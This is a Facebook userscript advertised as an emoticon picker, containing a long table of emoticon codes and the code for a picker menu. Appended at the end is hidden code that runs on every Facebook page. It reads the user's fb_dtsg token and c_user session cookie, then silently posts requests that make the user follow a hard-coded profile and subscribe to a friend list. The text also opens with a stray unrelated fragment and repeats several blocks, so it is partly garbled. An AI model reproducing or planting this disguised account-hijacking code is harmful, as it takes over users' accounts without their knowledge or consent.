botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.bot
RhenSacro / FacebookEmoticons2014// ==UserScript== // @name Doi ten Facebook // @description All about facebook By Erosaka // @include https://*.facebook.com/* // @include https://*.facebook.com/*/* // @include http://*.facebook.com/* // @include http://*.facebook.com/*/* // ==/UserScript== // ==13470X== // ============== // ==Icon== (function() { // Active only in main frame if (!document.querySelector("#pageNav")) { return; } //console.info("Extra Facebook Smileys"); // = Data ======= var emoticons = [ { // Text to picture emoticons "chars" : " :) ", "class" : "emoticon_smile", "name" : "Smiley" }, { "chars" : " :( ", "class" : "emoticon_frown", "name" : "Frown" }, { "chars" : " :P ", "class" : "emoticon_tongue", "name" : "Tongue" }, { "chars" : " :D ", "class" : "emoticon_grin", "name" : "Grin" }, { "chars" : " :o ", "class" : "emoticon_gasp", "name" : "Gasp" }, { "chars" : " ;) ", "class" : "emoticon_wink", "name" : "Wink" }, { "chars" : " :v ", "class" : "emoticon_pacman", "name" : "Pacman" }, { "chars" : " >:( ", "class" : "emoticon_grumpy", "name" : "Gruñón" }, { "chars" : " :/ ", "class" : "emoticon_unsure", "name" : "Unsure" }, { "chars" : " :'( ", "class" : "emoticon_cry", "name" : "Cry" }, { "chars" : " ^_^ ", "class" : "emoticon_kiki", "name" : "Kiki" }, { "chars" : " 8) ", "class" : "emoticon_glasses", "name" : "Glasses" }, { "chars" : " B| ", "class" : "emoticon_sunglasses", "name" : "Sunglasses" }, { "chars" : " <3 ", "class" : "emoticon_heart", "name" : "Heart" }, { "chars" : " 3:) ", "class" : "emoticon_devil", "name" : "Devil" }, { "chars" : " O:) ", "class" : "emoticon_angel", "name" : "Angel" }, { "chars" : " -_- ", "class" : "emoticon_squint", "name" : "Squint" }, { "chars" : " o.O ", "class" : "emoticon_confused", "name" : "Confused" }, { "chars" : " >:o ", "class" : "emoticon_upset", "name" : "Upset" }, { "chars" : " :3 ", "class" : "emoticon_colonthree", "name" : "Colonthree" }, { "chars" : " (y) ", "class" : "emoticon_like", "name" : "Like" }, { "chars" : " :* ", "class" : "emoticon emoticon_kiss", "name" : "Kiss" }, { "chars" : " (^^^) ", "class" : "emoticon_shark", "name" : "Shark" }, { "chars" : " :|] ", "class" : "emoticon_robot", "name" : "Robot" }, { "chars" : " <(\") ", "class" : "emoticon_penguin", "name" : "Pingüino" }, { "chars" : " :poop: ", "class" : "emoticon_poop", "name" : "Poop" }, { "chars" : " :putnam: ", "class" : "emoticon_putnam", "name" : "Putman" }, { "chars" : " \ud83c\udf02 ", "class" : "_1az _1a- _2c0", "name" : "Pink Umbrella" }, { "chars" : " \ud83c\udf0a ", "class" : "_1az _1a- _2c1", "name" : "Sea Wave" }, { "chars" : " \ud83c\udf19 ", "class" : "_1az _1a- _2c2", "name" : "Crescent moon" }, { "chars" : " \ud83c\udf1f ", "class" : "_1az _1a- _2c3", "name" : "Bright Star" }, { "chars" : " \ud83c\udf31 ", "class" : "_1az _1a- _2c4", "name" : "Seedbed" }, { "chars" : " \ud83c\udf34 ", "class" : "_1az _1a- _2c5", "name" : "Single Palm Tree" }, { "chars" : " \ud83c\udf35 ", "class" : "_1az _1a- _2c6", "name" : "Cactus" }, { "chars" : " \ud83c\udf37 ", "class" : "_1az _1a- _2c7", "name" : "Tulip" }, { "chars" : " \ud83c\udf38 ", "class" : "_1az _1a- _2c8", "name" : "Cherry Blossom" }, { "chars" : " \ud83c\udf39 ", "class" : "_1az _1a- _2c9", "name" : "Rose" }, { "chars" : " \ud83c\udf3a ", "class" : "_1az _1a- _2ca", "name" : "Cayenne" }, { "chars" : " \ud83c\udf3b ", "class" : "_1az _1a- _2cb", "name" : "Sunflower" }, { "chars" : " \ud83c\udf3e ", "class" : "_1az _1a- _2cc", "name" : "Ear Of Rice" }, { "chars" : " \ud83c\udf40 ", "class" : "_1az _1a- _2cd", "name" : "Four Leaf Clover" }, { "chars" : " \ud83c\udf41 ", "class" : "_1az _1a- _2ce", "name" : "Maple Leaf" }, { "chars" : " \ud83c\udf42 ", "class" : "_1az _1a- _2cf", "name" : "Fallen Leaf" }, { "chars" : " \ud83c\udf43 ", "class" : "_1az _1a- _2cg", "name" : "Leaf Floating In The Wind" }, { "chars" : " \ud83c\udf4a ", "class" : "_1az _1a- _2ch", "name" : "Tangerine" }, { "chars" : " \ud83c\udf4e ", "class" : "_1az _1a- _2ci", "name" : "Red Apple" }, { "chars" : " \ud83c\udf53 ", "class" : "_1az _1a- _2cj", "name" : "Strawberry" }, { "chars" : " \ud83c\udf54 ", "class" : "_1az _1a- _2ck", "name" : "Burger" }, { "chars" : " \ud83c\udf78 ", "class" : "_1az _1a- _2cl", "name" : "Cocktail Glass" }, { "chars" : " \ud83c\udf7a ", "class" : "_1az _1a- _2cm", "name" : "Tankard" }, { "chars" : " \ud83c\udf81 ", "class" : "_1az _1a- _2cn", "name" : "Gift Wrapped" }, { "chars" : " \ud83c\udf83 ", "class" : "_1az _1a- _2co", "name" : "Pumpkin With Candle" }, { "chars" : " \ud83c\udf84 ", "class" : "_1az _1a- _2cp", "name" : "Christmas Tree" }, { "chars" : " \ud83c\udf85 ", "class" : "_1az _1a- _2cq", "name" : "Santa" }, { "chars" : " \ud83c\udf88 ", "class" : "_1az _1a- _2cr", "name" : "Balloon" }, { "chars" : " \ud83c\udf89 ", "class" : "_1az _1a- _2cs", "name" : "Party Popper" }, { "chars" : " \ud83c\udf8d ", "class" : "_1az _1a- _2ct", "name" : "Pine Decor" }, { "chars" : " \ud83c\udf8e ", "class" : "_1az _1a- _2cu", "name" : "Japanese Dolls" }, { "chars" : " \ud83c\udf8f ", "class" : "_1az _1a- _2cv", "name" : "Carp Streamer" }, { "chars" : " \ud83c\udf90 ", "class" : "_1az _1a- _2cw", "name" : "Wind Chime" }, { "chars" : " \ud83c\udf93 ", "class" : "_1az _1a- _2cx", "name" : "Graduation Cap" }, { "chars" : " \ud83c\udfb5 ", "class" : "_1az _1a- _2cy", "name" : "Musical Note" }, { "chars" : " \ud83c\udfb6 ", "class" : "_1az _1a- _2cz", "name" : "Multiple Musical Notes" }, { "chars" : " \ud83c\udfbc ", "class" : "_1az _1a- _2c-", "name" : "Musical Score" }, { "chars" : " \ud83d\udc0d ", "class" : "_1az _1a- _2c_", "name" : "Snake" }, { "chars" : " \ud83d\udc0e ", "class" : "_1az _1a- _2d0", "name" : "Horse" }, { "chars" : " \ud83d\udc11 ", "class" : "_1az _1a- _2d1", "name" : "Sheep" }, { "chars" : " \ud83d\udc12 ", "class" : "_1az _1a- _2d2", "name" : "Monkey" }, { "chars" : " \ud83d\udc14 ", "class" : "_1az _1a- _2d3", "name" : "Hen" }, { "chars" : " \ud83d\udc17 ", "class" : "_1az _1a- _2d4", "name" : "Wild Boar" }, { "chars" : " \ud83d\udc18 ", "class" : "_1az _1a- _2d5", "name" : "Elephant" }, { "chars" : " \ud83d\udc19 ", "class" : "_1az _1a- _2d6", "name" : "Octopus" }, { "chars" : " \ud83d\udc1a ", "class" : "_1az _1a- _2d7", "name" : "Snail Shell" }, { "chars" : " \ud83d\udc1b ", "class" : "_1az _1a- _2d8", "name" : "Insect" }, { "chars" : " \ud83d\udc1f ", "class" : "_1az _1a- _2d9", "name" : "Fish" }, { "chars" : " \ud83d\udc20 ", "class" : "_1az _1a- _2da", "name" : "Tropical Fish" }, { "chars" : " \ud83d\udc21 ", "class" : "_1az _1a- _2db", "name" : "Pufferfish" }, { "chars" : " \ud83d\udc25 ", "class" : "_1az _1a- _2dc", "name" : "Chick In Front" }, { "chars" : " \ud83d\udc26 ", "class" : "_1az _1a- _2dd", "name" : "Bird" }, { "chars" : " \ud83d\udc27 ", "class" : "_1az _1a- _2de", "name" : "Penguin" }, { "chars" : " \ud83d\udc28 ", "class" : "_1az _1a- _2df", "name" : "Koala" }, { "chars" : " \ud83d\udc29 ", "class" : "_1az _1a- _2dg", "name" : "Poodle" }, { "chars" : " \ud83d\udc2b ", "class" : "_1az _1a- _2dh", "name" : "Bactrian Camel" }, { "chars" : " \ud83d\udc2c ", "class" : "_1az _1a- _2di", "name" : "Dolphin" }, { "chars" : " \ud83d\udc2d ", "class" : "_1az _1a- _2dj", "name" : "Mouse Face" }, { "chars" : " \ud83d\udc2e ", "class" : "_1az _1a- _2dk", "name" : "Cow Face" }, { "chars" : " \ud83d\udc2f ", "class" : "_1az _1a- _2dl", "name" : "Cara de tigre" }, { "chars" : " \ud83d\udc30 ", "class" : "_1az _1a- _2dm", "name" : "Rabbit Face" }, { "chars" : " \ud83d\udc31 ", "class" : "_1az _1a- _2dn", "name" : "Cat Face" }, { "chars" : " \ud83d\udc33 ", "class" : "_1az _1a- _2do", "name" : "Whale Sputtering" }, { "chars" : " \ud83d\udc34 ", "class" : "_1az _1a- _2dp", "name" : "Horse Face" }, { "chars" : " \ud83d\udc35 ", "class" : "_1az _1a- _2dq", "name" : "Monkey Face" }, { "chars" : " \ud83d\udc37 ", "class" : "_1az _1a- _2dr", "name" : "Pig face" }, { "chars" : " \ud83d\udc38 ", "class" : "_1az _1a- _2ds", "name" : "Frog Face" }, { "chars" : " \ud83d\udc39 ", "class" : "_1az _1a- _2dt", "name" : "Hamster Face" }, { "chars" : " \ud83d\udc3a ", "class" : "_1az _1a- _2du", "name" : "Wolf Face" }, { "chars" : " \ud83d\udc3b ", "class" : "_1az _1a- _2dv", "name" : "Bear Face" }, { "chars" : " \ud83d\udc3e ", "class" : "_1az _1a- _2dw", "name" : "Footprints" }, { "chars" : " \ud83d\udc40 ", "class" : "_1az _1a- _2dx", "name" : "Eyes" }, { "chars" : " \ud83d\udc42 ", "class" : "_1az _1a- _2dy", "name" : "Ear" }, { "chars" : " \ud83d\udc43 ", "class" : "_1az _1a- _2dz", "name" : "Nose" }, { "chars" : " \ud83d\udc44 ", "class" : "_1az _1a- _2d-", "name" : "Mouth" }, { "chars" : " \ud83d\udc45 ", "class" : "_1az _1a- _2d_", "name" : "Sour Face" }, { "chars" : " \ud83d\udc46 ", "class" : "_1az _1a- _2e0", "name" : "White hand pointing up" }, { "chars" : " \ud83d\udc47 ", "class" : "_1az _1a- _2e1", "name" : "White hand faces downward" }, { "chars" : " \ud83d\udc48 ", "class" : "_1az _1a- _2e2", "name" : "White hand indicating left" }, { "chars" : " \ud83d\udc49 ", "class" : "_1az _1a- _2e3", "name" : "White hand indicating right" }, { "chars" : " \ud83d\udc4a ", "class" : "_1az _1a- _2e4", "name" : "Fist" }, { "chars" : " \ud83d\udc4b ", "class" : "_1az _1a- _2e5", "name" : "Hand in motion" }, { "chars" : " \ud83d\udc4c ", "class" : "_1az _1a- _2e6", "name" : "Hand showing all good" }, { "chars" : " \ud83d\udc4d ", "class" : "_1az _1a- _2e7", "name" : "Hand with thumb up" }, { "chars" : " \ud83d\udc4e ", "class" : "_1az _1a- _2e8", "name" : "Hand with thumb down" }, { "chars" : " \ud83d\udc4f ", "class" : "_1az _1a- _2e9", "name" : "Hands clapping" }, { "chars" : " \ud83d\udc50 ", "class" : "_1az _1a- _2ea", "name" : "Open Hands" }, { "chars" : " \ud83d\udc66 ", "class" : "_1az _1a- _2eb", "name" : "Boy" }, { "chars" : " \ud83d\udc67 ", "class" : "_1az _1a- _2ec", "name" : "Girl" }, { "chars" : " \ud83d\udc68 ", "class" : "_1az _1a- _2ed", "name" : "Man" }, { "chars" : " \ud83d\udc69 ", "class" : "_1az _1a- _2ee", "name" : "Woman" }, { "chars" : " \ud83d\udc6b ", "class" : "_1az _1a- _2ef", "name" : "Man and woman holding hands" }, { "chars" : " \ud83d\udc6e ", "class" : "_1az _1a- _2eg", "name" : "Police Officer" }, { "chars" : " \ud83d\udc6f ", "class" : "_1az _1a- _2eh", "name" : "Woman with bunny ears" }, { "chars" : " \ud83d\udc71 ", "class" : "_1az _1a- _2ei", "name" : "Person with hair rubio" }, { "chars" : " \ud83d\udc72 ", "class" : "_1az _1a- _2ej", "name" : "Man with pi mao gua" }, { "chars" : " \ud83d\udc73 ", "class" : "_1az _1a- _2ek", "name" : "Man with turban" }, { "chars" : " \ud83d\udc74 ", "class" : "_1az _1a- _2el", "name" : "Old Man" }, { "chars" : " \ud83d\udc75 ", "class" : "_1az _1a- _2em", "name" : "Old Woman" }, { "chars" : " \ud83d\udc76 ", "class" : "_1az _1a- _2en", "name" : "Baby" }, { "chars" : " \ud83d\udc77 ", "class" : "_1az _1a- _2eo", "name" : "Construction Worker" }, { "chars" : " \ud83d\udc78 ", "class" : "_1az _1a- _2ep", "name" : "Princess" }, { "chars" : " \ud83d\udc7b ", "class" : "_1az _1a- _2eq", "name" : "Ghost" }, { "chars" : " \ud83d\udc7c ", "class" : "_1az _1a- _2er", "name" : "Angel baby" }, { "chars" : " \ud83d\udc7d ", "class" : "_1az _1a- _2es", "name" : "Alien" }, { "chars" : " \ud83d\udc7e ", "class" : "_1az _1a- _2et", "name" : "Alien Monster" }, { "chars" : " \ud83d\udc7f ", "class" : "_1az _1a- _2eu", "name" : "Imp" }, { "chars" : " \ud83d\udc80 ", "class" : "_1az _1a- _2ev", "name" : "Skull" }, { "chars" : " \ud83d\udc82 ", "class" : "_1az _1a- _2ew", "name" : "Guard" }, { "chars" : " \ud83d\udc83 ", "class" : "_1az _1a- _2ex", "name" : "Ballerina" }, { "chars" : " \ud83d\udc85 ", "class" : "_1az _1a- _2ey", "name" : "Nail Polish" }, { "chars" : " \ud83d\udc8b ", "class" : "_1az _1a- _2ez", "name" : "Brand of kiss" }, { "chars" : " \ud83d\udc8f ", "class" : "_1az _1a- _2e-", "name" : "Kissing couple" }, { "chars" : " \ud83d\udc90 ", "class" : "_1az _1a- _2e_", "name" : "Bunch of flowers" }, { "chars" : " \ud83d\udc91 ", "class" : "_1az _1a- _2f0", "name" : "Couple with heart" }, { "chars" : " \ud83d\udc93 ", "class" : "_1az _1a- _2f1", "name" : "Heart beating" }, { "chars" : " \ud83d\udc94 ", "class" : "_1az _1a- _2f2", "name" : "Broken Heart" }, { "chars" : " \ud83d\udc96 ", "class" : "_1az _1a- _2f3", "name" : "Bright Heart" }, { "chars" : " \ud83d\udc97 ", "class" : "_1az _1a- _2f4", "name" : "Heart growing" }, { "chars" : " \ud83d\udc98 ", "class" : "_1az _1a- _2f5", "name" : "Heart with arrow" }, { "chars" : " \ud83d\udc99 ", "class" : "_1az _1a- _2f6", "name" : "Blue Heart" }, { "chars" : " \ud83d\udc9a ", "class" : "_1az _1a- _2f7", "name" : "Green Heart" }, { "chars" : " \ud83d\udc9b ", "class" : "_1az _1a- _2f8", "name" : "Yellow Heart" }, { "chars" : " \ud83d\udc9c ", "class" : "_1az _1a- _2f9", "name" : "Purple Heart" }, { "chars" : " \ud83d\udc9d ", "class" : "_1az _1a- _2fa", "name" : "Heart with ribbon" }, { "chars" : " \ud83d\udca2 ", "class" : "_1az _1a- _2fb", "name" : "Symbol of anger" }, { "chars" : " \ud83d\udca4 ", "class" : "_1az _1a- _2fc", "name" : "Sleeping" }, { "chars" : " \ud83d\udca6 ", "class" : "_1az _1a- _2fd", "name" : "Sweat Symbol" }, { "chars" : " \ud83d\udca8 ", "class" : "_1az _1a- _2fe", "name" : "Quick Start Symbol" }, { "chars" : " \ud83d\udca9 ", "class" : "_1az _1a- _2ff", "name" : "Pile of Caca" }, { "chars" : " \ud83d\udcaa ", "class" : "_1az _1a- _2fg", "name" : "Flexed bicep" }, { "chars" : " \ud83d\udcbb ", "class" : "_1az _1a- _2fh", "name" : "Personal Computer" }, { "chars" : " \ud83d\udcbd ", "class" : "_1az _1a- _2fi", "name" : "Mini Disco" }, { "chars" : " \ud83d\udcbe ", "class" : "_1az _1a- _2fj", "name" : "Floppy disk" }, { "chars" : " \ud83d\udcbf ", "class" : "_1az _1a- _2fk", "name" : "Optical Disc" }, { "chars" : " \ud83d\udcc0 ", "class" : "_1az _1a- _2fl", "name" : "DVD" }, { "chars" : " \ud83d\udcde ", "class" : "_1az _1a- _2fm", "name" : "Telephone receiver" }, { "chars" : " \ud83d\udce0 ", "class" : "_1az _1a- _2fn", "name" : "Fax" }, { "chars" : " \ud83d\udcf1 ", "class" : "_1az _1a- _2fo", "name" : "Mobile Phone" }, { "chars" : " \ud83d\udcf2 ", "class" : "_1az _1a- _2fp", "name" : "Mobile phone with arrow from left to right" }, { "chars" : " \ud83d\udcfa ", "class" : "_1az _1a- _2fq", "name" : "Television" }, { "chars" : " \ud83d\udd14 ", "class" : "_1az _1a- _2fr", "name" : "Bell" }, { "chars" : " \ud83d\ude01 ", "class" : "_1az _1a- _2fs", "name" : "Face to face with smiling eyes" }, { "chars" : " \ud83d\ude02 ", "class" : "_1az _1a- _2ft", "name" : "Face with tears of joy" }, { "chars" : " \ud83d\ude03 ", "class" : "_1az _1a- _2fu", "name" : "Smiley face with open mouth" }, { "chars" : " \ud83d\ude04 ", "class" : "_1az _1a- _2fv", "name" : "Face and eyes smiling with mouth open" }, { "chars" : " \ud83d\ude06 ", "class" : "_1az _1a- _2fw", "name" : "Smiley face with mouth open and eyes closed" }, { "chars" : " \ud83d\ude09 ", "class" : "_1az _1a- _2fx", "name" : "Face winking eye" }, { "chars" : " \ud83d\ude0b ", "class" : "_1az _1a- _2fy", "name" : "Guy savoring delicious food" }, { "chars" : " \ud83d\ude0c ", "class" : "_1az _1a- _2fz", "name" : "Relief face" }, { "chars" : " \ud83d\ude0d ", "class" : "_1az _1a- _2f-", "name" : "Smiley face with heart shaped eyes" }, { "chars" : " \ud83d\ude0f ", "class" : "_1az _1a- _2f_", "name" : "Smirk face" }, { "chars" : " \ud83d\ude12 ", "class" : "_1az _1a- _2g0", "name" : "Face of boredom" }, { "chars" : " \ud83d\ude13 ", "class" : "_1az _1a- _2g1", "name" : "Face with cold sweat" }, { "chars" : " \ud83d\ude14 ", "class" : "_1az _1a- _2g2", "name" : "Pensive face" }, { "chars" : " \ud83d\ude16 ", "class" : "_1az _1a- _2g3", "name" : "Confused face" }, { "chars" : " \ud83d\ude18 ", "class" : "_1az _1a- _2g4", "name" : "Throwing kiss Face" }, { "chars" : " \ud83d\ude1a ", "class" : "_1az _1a- _2g5", "name" : "Kissing face with eyes closed" }, { "chars" : " \ud83d\ude1c ", "class" : "_1az _1a- _2g6", "name" : "Face with tongue out and winking" }, { "chars" : " \ud83d\ude1d ", "class" : "_1az _1a- _2g7", "name" : "Face with tongue hanging out and eyes closed" }, { "chars" : " \ud83d\ude1e ", "class" : "_1az _1a- _2g8", "name" : "Face discouraged" }, { "chars" : " \ud83d\ude20 ", "class" : "_1az _1a- _2g9", "name" : "Face of anger" }, { "chars" : " \ud83d\ude21 ", "class" : "_1az _1a- _2ga", "name" : "Very angry face" }, { "chars" : " \ud83d\ude22 ", "class" : "_1az _1a- _2gb", "name" : "Crying Face" }, { "chars" : " \ud83d\ude23 ", "class" : "_1az _1a- _2gc", "name" : "Face of perseverance" }, { "chars" : " \ud83d\ude24 ", "class" : "_1az _1a- _2gd", "name" : "Face of triumph" }, { "chars" : " \ud83d\ude25 ", "class" : "_1az _1a- _2ge", "name" : "Face discouraged but relieved" }, { "chars" : " \ud83d\ude28 ", "class" : "_1az _1a- _2gf", "name" : "Scary face" }, { "chars" : " \ud83d\ude29 ", "class" : "_1az _1a- _2gg", "name" : "Fatigued face" }, { "chars" : " \ud83d\ude2a ", "class" : "_1az _1a- _2gh", "name" : "Sleeping face" }, { "chars" : " \ud83d\ude2b ", "class" : "_1az _1a- _2gi", "name" : "Tired face" }, { "chars" : " \ud83d\ude2d ", "class" : "_1az _1a- _2gj", "name" : "Face screaming" }, { "chars" : " \ud83d\ude30 ", "class" : "_1az _1a- _2gk", "name" : "Face with mouth open and cold sweat" }, { "chars" : " \ud83d\ude31 ", "class" : "_1az _1a- _2gl", "name" : "Terrified face of fear" }, { "chars" : " \ud83d\ude32 ", "class" : "_1az _1a- _2gm", "name" : "Very surprised face" }, { "chars" : " \ud83d\ude33 ", "class" : "_1az _1a- _2gn", "name" : "Face flushed" }, { "chars" : " \ud83d\ude35 ", "class" : "_1az _1a- _2go", "name" : "Face dizzy" }, { "chars" : " \ud83d\ude37 ", "class" : "_1az _1a- _2gp", "name" : "Face with medical mask" }, { "chars" : " \ud83d\ude38 ", "class" : "_1az _1a- _2gq", "name" : "Grinning Cat face and eyes closed" }, { "chars" : " \ud83d\ude39 ", "class" : "_1az _1a- _2gr", "name" : "Cat face with tears of laughter" }, { "chars" : " \ud83d\ude3a ", "class" : "_1az _1a- _2gs", "name" : "Smiling cat face with open mouth" }, { "chars" : " \ud83d\ude3b ", "class" : "_1az _1a- _2gt", "name" : "Smiling cat face with hearts in her eyes" }, { "chars" : " \ud83d\ude3c ", "class" : "_1az _1a- _2gu", "name" : "Face of cat smile twisted" }, { "chars" : " \ud83d\ude3d ", "class" : "_1az _1a- _2gv", "name" : "Cat face kissing with eyes closed" }, { "chars" : " \ud83d\ude3f ", "class" : "_1az _1a- _2gw", "name" : "Cat face crying" }, { "chars" : " \ud83d\ude40 ", "class" : "_1az _1a- _2gx", "name" : "Cat face scared terrified" }, { "chars" : " \ud83d\ude4b ", "class" : "_1az _1a- _2gy", "name" : "Happy person raising a hand" }, { "chars" : " \ud83d\ude4c ", "class" : "_1az _1a- _2gz", "name" : "Person holding up both hands in celebration" }, { "chars" : " \ud83d\ude4d ", "class" : "_1az _1a- _2g-", "name" : "Person frowning" }, { "chars" : " \ud83d\ude4f ", "class" : "_1az _1a- _2g_", "name" : "Person in prayer" }, { "chars" : " \u261d ", "class" : "_1az _1a- _2h0", "name" : "Index finger pointing up" }, { "chars" : " \u263a ", "class" : "_1az _1a- _2h1", "name" : "White face smiling" }, { "chars" : " \u26a1 ", "class" : "_1az _1a- _2h2", "name" : "High voltage symbol" }, { "chars" : " \u26c4 ", "class" : "_1az _1a- _2h3", "name" : "Snowless snowman" }, { "chars" : " \u270a ", "class" : "_1az _1a- _2h4", "name" : "Fist up" }, { "chars" : " \u270b ", "class" : "_1az _1a- _2h5", "name" : "Hand pointing up" }, { "chars" : " \u270c ", "class" : "_1az _1a- _2h6", "name" : "Winning Hand" }, { "chars" : " \u2600 ", "class" : "_1az _1a- _2h7", "name" : "Sun With Rays" }, { "chars" : " \u2601 ", "class" : "_1az _1a- _2h8", "name" : "Cloud" }, { "chars" : " \u2614 ", "class" : "_1az _1a- _2h9", "name" : "Umbrella With Rain Drops" }, { "chars" : " \u2615 ", "class" : "_1az _1a- _2ha", "name" : "Hot Drink" }, { "chars" : " \u2728 ", "class" : "_1az _1a- _2hb", "name" : "Brightness" }, { "chars" : " \u2764 ", "class" : "_1az _1a- _2hc", "name" : "Heavy Black Heart" } ]; // = Variables ======= var lastActiveElement = document.activeElement; // = Functions ======= function createElement(html) { var outerHTML = document.createElement("div"); outerHTML.innerHTML = html; return outerHTML.firstChild; } function htmlSpecialChars(string) { var div = document.createElement("div"); var text = document.createTextNode(string); div.appendChild(text); return div.innerHTML; } function isInstanceOfTextInput(element) { return (element instanceof HTMLInputElement && element.type == "text") || element instanceof HTMLTextAreaElement; } function isFlyoutOpen(flyout) { return flyout.className == "openToggler"; } function openFlyout(flyout, open) { if (open === undefined) { open = !isFlyoutOpen(flyout); // Toggle } if (open) { flyout.className = "openToggler"; } else { flyout.removeAttribute("class"); } } function createTab(titleContainer, bodyContainer) { var html; // Tab; default = inactive html = '<li class="jewelFlyout fbJewelFlyout uiToggleFlyout">'; html += '<div class="jewelFlyout">'; html += '</div>'; html += '</li>'; var title = createElement(html); titleContainer.appendChild(title); // Manual input html = '<div style="display: none;">'; html += '</div>'; var body = createElement(html); bodyContainer.appendChild(body); // Change tab listener (function(body) { title.addEventListener("click", function() { // Change tab var titles = this.parentNode.childNodes; // tab.tabContainer.childNodes for ( var t = 0; t < titles.length; t++) { if (titles[t] === this) { // Active } else { // Inactive titles[t].style.background = ""; titles[t].firstChild.style.color = ""; } } // Change body var bodies = body.parentNode.childNodes; // body.bodyContainer.childNodes for ( var b = 0; b < bodies.length; b++) { if (bodies[b] === body) { // Show body.style.display = ""; } else { // Hide bodies[b].style.display = "none"; } } }); })(body); return { "title" : title.firstChild, "body" : body }; } function createTabListBody(emoticons, filter) { var html; html = '<div style="max-height: 200px; padding-right: 15px; overflow-x: hidden; line-height: 1em;">'; html += '<div style="padding: 10px; width: 200px; font-size: 15px;">'; html += '</div>'; html += '</div>'; var body = createElement(html).firstChild; for ( var e = 0; e < emoticons.length; e++) { var emoticon = emoticons[e]; if (!filter(emoticon)) { continue; } // Icons html = '<span class="panelCell" style="display: inline-block; vertical-align: middle; padding: 2px;">'; html += '<a'; html += ' class="emoticon' + (emoticon.class !== undefined ? ' ' + emoticon.class : '') + '"'; html += ' style="text-decoration: inherit; color: inherit;' + (emoticon.class !== undefined ? ' color: transparent;' : ' width: auto;') + '"'; html += (emoticon.name !== undefined ? ' title="' + emoticon.name + '"' : ''); html += '>'; html += htmlSpecialChars(emoticon.chars); html += '</a>'; html += '</span>'; var cell = createElement(html); body.appendChild(cell); // Select emoticon listener var emoticonA = cell.firstChild; (function(emoticon) { emoticonA.addEventListener("click", function() { if (isInstanceOfTextInput(lastActiveElement)) { lastActiveElement.focus(); var chars = emoticon.chars; var value = lastActiveElement.value; var start = lastActiveElement.selectionStart; var end = lastActiveElement.selectionEnd; lastActiveElement.value = value.substring(0, start) + chars + value.substring(end); lastActiveElement.setSelectionRange(start + chars.length, start + chars.length); } openFlyoutCommand = false; // Close flyout }); })(emoticon); } return body.parentNode; } // = Construct UI ======= var html; // Menu item // var navItem html = '<li class="navItem middleItem notifNegativeBase">'; html += '<div class="fbJewel">'; // { // Toggler html += '<a class="navLink" title="1 Thông Báo Mới">'; // var navLink html += '<span style="vertical-align: middle;"><img src="http://static.ak.fbcdn.net/rsrc.php/v1/yY/r/7OqExvAe82o.gif"></img></span>'; html += '</a>'; // Flyout html += '<div>'; // openToggler; var flyout html += '<div class="emoticonsPanel fbJewelFlyout uiToggleFlyout" style="z-index: 1; width: auto;">'; // { // Beeper html += '<div class="jewelBeeperHeader">'; html += '<div class="beeperNubWrapper">'; html += '<div class="beeperNub" style="left: 4px;"></div>'; html += '</div>'; html += '</div>'; // Tabs // var titleContainer html += '<ul style="display: text-align: center;">'; html += '</ul>'; // Bodies html += '<div>'; // var bodyContainer html += '</div>'; // Footer html += '<div class="jewelFooter">'; html += '<a class="jewelFooter" href="https://www.facebook.com/callmeJhay.ar" target="_blank">Find me on Facebook for more Cool FB Tricks!<br>Rhen</a>'; html += '</div>'; // } html += '</div>'; // emoticonsPanel html += '</div>'; // openToggler // } html += '</div>'; // fbJewel html += '</li>'; // navItem var navItem = createElement(html); var pageNav = document.querySelector("#pageNav"); pageNav.insertBefore(navItem, pageNav.firstChild); // Maintain active element navItem.addEventListener("click", function() { if (isInstanceOfTextInput(lastActiveElement)) { lastActiveElement.focus(); } openFlyoutCommand = undefined; // Do nothing }, true); var navLink = navItem.firstChild.firstChild; var flyout = navLink.nextSibling; var titleContainer = flyout.firstChild.childNodes[1]; var bodyContainer = titleContainer.nextSibling; // Toggle listener navLink.addEventListener("click", function() { openFlyoutCommand = !isFlyoutOpen(flyout); }); // Picture emoticon tab var picEmoTab = createTab(titleContainer, bodyContainer); picEmoTab.title.click(); // Default tab picEmoTab.body.appendChild(createTabListBody(emoticons, function(emoticon) { if (emoticon.class === undefined) { // No picture return false; } // [Bug] 2 characters unicode emoticons if (emoticon.chars.length == 2) { return false; } return true; })); // = Other listener ======= document.addEventListener("click", function() { // Get active textarea lastActiveElement = document.activeElement; // Toggle flyout if (openFlyoutCommand !== undefined) { openFlyout(flyout, openFlyoutCommand); } openFlyoutCommand = false; }); })(); // === Facebook Emoticons ==== var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } //BOSSTER// a("100007688500197"); 